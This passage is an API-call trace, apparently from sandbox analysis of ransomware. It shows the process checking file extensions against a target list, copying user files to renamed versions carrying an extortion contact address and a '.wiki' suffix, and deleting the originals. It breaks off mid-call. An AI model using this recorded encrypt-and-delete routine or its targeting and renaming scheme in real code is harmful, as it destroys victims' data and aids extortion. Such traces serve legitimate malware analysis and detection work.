[0174.052] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0174.052] lstrlenW (lpString=".dbf") returned 4 [0174.052] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0174.052] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0174.052] lstrlenW (lpString=".1cd") returned 4 [0174.052] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0174.052] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned 122 [0174.052] lstrlenW (lpString=".jpg") returned 4 [0174.052] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0174.053] lstrcmpiW (lpString1=".lst", lpString2=".wiki") returned -1 [0174.053] lstrlenW (lpString="AdobeSysFnt10.lst") returned 17 [0174.053] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.365] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=138459) returned 1 [0174.365] CloseHandle (hObject=0x198) returned 1 [0174.398] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst")) returned 0x2020 [0174.398] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.398] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.406] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.406] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.417] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.422] GetLastError () returned 0x0 [0174.422] ReadFile (in: hFile=0x198, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x21cdb, lpOverlapped=0x0) returned 1 [0174.429] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x21ce0, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x21ce0, lpOverlapped=0x0) returned 1 [0174.432] ReadFile (in: hFile=0x198, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.432] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0174.432] SetEndOfFile (hFile=0x124) returned 1 [0174.432] CloseHandle (hObject=0x124) returned 1 [0174.432] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.432] SetEndOfFile (hFile=0x198) returned 1 [0174.434] CloseHandle (hObject=0x198) returned 1 [0174.434] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.434] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\adobesysfnt10.lst")) returned 1 [0174.435] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned 80 [0174.435] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned 80 [0174.435] lstrlenW (lpString=".doc") returned 4 [0174.435] lstrcmpiW (lpString1=".doc", lpString2=".lst") returned -1 [0174.435] lstrlenW (lpString=".docx") returned 5 [0174.435] lstrcmpiW (lpString1=".docx", lpString2="0.lst") returned -1 [0174.435] lstrlenW (lpString=".pdf") returned 4 [0174.435] lstrcmpiW (lpString1=".pdf", lpString2=".lst") returned 1 [0174.435] lstrlenW (lpString=".xls") returned 4 [0174.435] lstrcmpiW (lpString1=".xls", lpString2=".lst") returned 1 [0174.435] lstrlenW (lpString=".xlsx") returned 5 [0174.435] lstrcmpiW (lpString1=".xlsx", lpString2="0.lst") returned -1 [0174.435] lstrlenW (lpString=".ppt") returned 4 [0174.435] lstrcmpiW (lpString1=".ppt", lpString2=".lst") returned 1 [0174.435] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned 80 [0174.435] lstrlenW (lpString=".zip") returned 4 [0174.435] lstrcmpiW (lpString1=".zip", lpString2=".lst") returned 1 [0174.435] lstrlenW (lpString=".rar") returned 4 [0174.435] lstrcmpiW (lpString1=".rar", lpString2=".lst") returned 1 [0174.435] lstrlenW (lpString=".bz2") returned 4 [0174.435] lstrcmpiW (lpString1=".bz2", lpString2=".lst") returned -1 [0174.435] lstrlenW (lpString=".7z") returned 3 [0174.435] lstrcmpiW (lpString1=".7z", lpString2="lst") returned -1 [0174.435] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned 80 [0174.435] lstrlenW (lpString=".dbf") returned 4 [0174.435] lstrcmpiW (lpString1=".dbf", lpString2=".lst") returned -1 [0174.435] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned 80 [0174.435] lstrlenW (lpString=".1cd") returned 4 [0174.436] lstrcmpiW (lpString1=".1cd", lpString2=".lst") returned -1 [0174.436] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned 80 [0174.436] lstrlenW (lpString=".jpg") returned 4 [0174.436] lstrcmpiW (lpString1=".jpg", lpString2=".lst") returned -1 [0174.436] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned 80 [0174.436] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned 80 [0174.436] lstrlenW (lpString=".doc") returned 4 [0174.436] lstrcmpiW (lpString1=".doc", lpString2=".lst") returned -1 [0174.436] lstrlenW (lpString=".docx") returned 5 [0174.436] lstrcmpiW (lpString1=".docx", lpString2="0.lst") returned -1 [0174.436] lstrlenW (lpString=".pdf") returned 4 [0174.436] lstrcmpiW (lpString1=".pdf", lpString2=".lst") returned 1 [0174.436] lstrlenW (lpString=".xls") returned 4 [0174.436] lstrcmpiW (lpString1=".xls", lpString2=".lst") returned 1 [0174.436] lstrlenW (lpString=".xlsx") returned 5 [0174.436] lstrcmpiW (lpString1=".xlsx", lpString2="0.lst") returned -1 [0174.436] lstrlenW (lpString=".ppt") returned 4 [0174.436] lstrcmpiW (lpString1=".ppt", lpString2=".lst") returned 1 [0174.436] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned 80 [0174.436] lstrlenW (lpString=".zip") returned 4 [0174.436] lstrcmpiW (lpString1=".zip", lpString2=".lst") returned 1 [0174.436] lstrlenW (lpString=".rar") returned 4 [0174.436] lstrcmpiW (lpString1=".rar", lpString2=".lst") returned 1 [0174.436] lstrlenW (lpString=".bz2") returned 4 [0174.436] lstrcmpiW (lpString1=".bz2", lpString2=".lst") returned -1 [0174.436] lstrlenW (lpString=".7z") returned 3 [0174.436] lstrcmpiW (lpString1=".7z", lpString2="lst") returned -1 [0174.436] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned 80 [0174.436] lstrlenW (lpString=".dbf") returned 4 [0174.436] lstrcmpiW (lpString1=".dbf", lpString2=".lst") returned -1 [0174.437] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned 80 [0174.437] lstrlenW (lpString=".1cd") returned 4 [0174.437] lstrcmpiW (lpString1=".1cd", lpString2=".lst") returned -1 [0174.437] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned 80 [0174.437] lstrlenW (lpString=".jpg") returned 4 [0174.437] lstrcmpiW (lpString1=".jpg", lpString2=".lst") returned -1 [0174.437] lstrcmpiW (lpString1=".cdf-ms", lpString2=".wiki") returned -1 [0174.437] lstrlenW (lpString="clickonce_bootstrap_unsigned.cdf-ms") returned 35 [0174.437] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.437] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=3808) returned 1 [0174.437] CloseHandle (hObject=0x198) returned 1 [0174.437] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms")) returned 0x2020 [0174.437] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.438] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.438] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.438] GetLastError () returned 0x0 [0174.438] ReadFile (in: hFile=0x198, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0xee0, lpOverlapped=0x0) returned 1 [0174.440] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xef0, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xef0, lpOverlapped=0x0) returned 1 [0174.441] ReadFile (in: hFile=0x198, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.442] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x11a, lpOverlapped=0x0) returned 1 [0174.442] SetEndOfFile (hFile=0x124) returned 1 [0174.442] CloseHandle (hObject=0x124) returned 1 [0174.442] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.442] SetEndOfFile (hFile=0x198) returned 1 [0174.443] CloseHandle (hObject=0x198) returned 1 [0174.443] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.443] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms")) returned 1 [0174.443] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms") returned 169 [0174.443] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms") returned 169 [0174.443] lstrlenW (lpString=".doc") returned 4 [0174.443] lstrcmpiW (lpString1=".doc", lpString2="f-ms") returned -1 [0174.443] lstrlenW (lpString=".docx") returned 5 [0174.443] lstrcmpiW (lpString1=".docx", lpString2="df-ms") returned -1 [0174.444] lstrlenW (lpString=".pdf") returned 4 [0174.444] lstrcmpiW (lpString1=".pdf", lpString2="f-ms") returned -1 [0174.444] lstrlenW (lpString=".xls") returned 4 [0174.444] lstrcmpiW (lpString1=".xls", lpString2="f-ms") returned -1 [0174.444] lstrlenW (lpString=".xlsx") returned 5 [0174.444] lstrcmpiW (lpString1=".xlsx", lpString2="df-ms") returned -1 [0174.444] lstrlenW (lpString=".ppt") returned 4 [0174.444] lstrcmpiW (lpString1=".ppt", lpString2="f-ms") returned -1 [0174.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms") returned 169 [0174.444] lstrlenW (lpString=".zip") returned 4 [0174.444] lstrcmpiW (lpString1=".zip", lpString2="f-ms") returned -1 [0174.444] lstrlenW (lpString=".rar") returned 4 [0174.444] lstrcmpiW (lpString1=".rar", lpString2="f-ms") returned -1 [0174.444] lstrlenW (lpString=".bz2") returned 4 [0174.444] lstrcmpiW (lpString1=".bz2", lpString2="f-ms") returned -1 [0174.444] lstrlenW (lpString=".7z") returned 3 [0174.444] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0174.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms") returned 169 [0174.444] lstrlenW (lpString=".dbf") returned 4 [0174.444] lstrcmpiW (lpString1=".dbf", lpString2="f-ms") returned -1 [0174.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms") returned 169 [0174.444] lstrlenW (lpString=".1cd") returned 4 [0174.444] lstrcmpiW (lpString1=".1cd", lpString2="f-ms") returned -1 [0174.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms") returned 169 [0174.444] lstrlenW (lpString=".jpg") returned 4 [0174.444] lstrcmpiW (lpString1=".jpg", lpString2="f-ms") returned -1 [0174.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms") returned 169 [0174.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms") returned 169 [0174.444] lstrlenW (lpString=".doc") returned 4 [0174.444] lstrcmpiW (lpString1=".doc", lpString2="f-ms") returned -1 [0174.445] lstrlenW (lpString=".docx") returned 5 [0174.445] lstrcmpiW (lpString1=".docx", lpString2="df-ms") returned -1 [0174.445] lstrlenW (lpString=".pdf") returned 4 [0174.445] lstrcmpiW (lpString1=".pdf", lpString2="f-ms") returned -1 [0174.445] lstrlenW (lpString=".xls") returned 4 [0174.445] lstrcmpiW (lpString1=".xls", lpString2="f-ms") returned -1 [0174.445] lstrlenW (lpString=".xlsx") returned 5 [0174.445] lstrcmpiW (lpString1=".xlsx", lpString2="df-ms") returned -1 [0174.445] lstrlenW (lpString=".ppt") returned 4 [0174.445] lstrcmpiW (lpString1=".ppt", lpString2="f-ms") returned -1 [0174.445] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms") returned 169 [0174.445] lstrlenW (lpString=".zip") returned 4 [0174.445] lstrcmpiW (lpString1=".zip", lpString2="f-ms") returned -1 [0174.445] lstrlenW (lpString=".rar") returned 4 [0174.445] lstrcmpiW (lpString1=".rar", lpString2="f-ms") returned -1 [0174.445] lstrlenW (lpString=".bz2") returned 4 [0174.445] lstrcmpiW (lpString1=".bz2", lpString2="f-ms") returned -1 [0174.445] lstrlenW (lpString=".7z") returned 3 [0174.445] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0174.445] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms") returned 169 [0174.445] lstrlenW (lpString=".dbf") returned 4 [0174.445] lstrcmpiW (lpString1=".dbf", lpString2="f-ms") returned -1 [0174.445] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms") returned 169 [0174.445] lstrlenW (lpString=".1cd") returned 4 [0174.445] lstrcmpiW (lpString1=".1cd", lpString2="f-ms") returned -1 [0174.445] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms") returned 169 [0174.445] lstrlenW (lpString=".jpg") returned 4 [0174.445] lstrcmpiW (lpString1=".jpg", lpString2="f-ms") returned -1 [0174.446] lstrcmpiW (lpString1=".manifest", lpString2=".wiki") returned -1 [0174.446] lstrlenW (lpString="clickonce_bootstrap_unsigned.manifest") returned 37 [0174.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.446] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=1376) returned 1 [0174.446] CloseHandle (hObject=0x198) returned 1 [0174.446] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest")) returned 0x2020 [0174.446] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0174.446] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.446] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 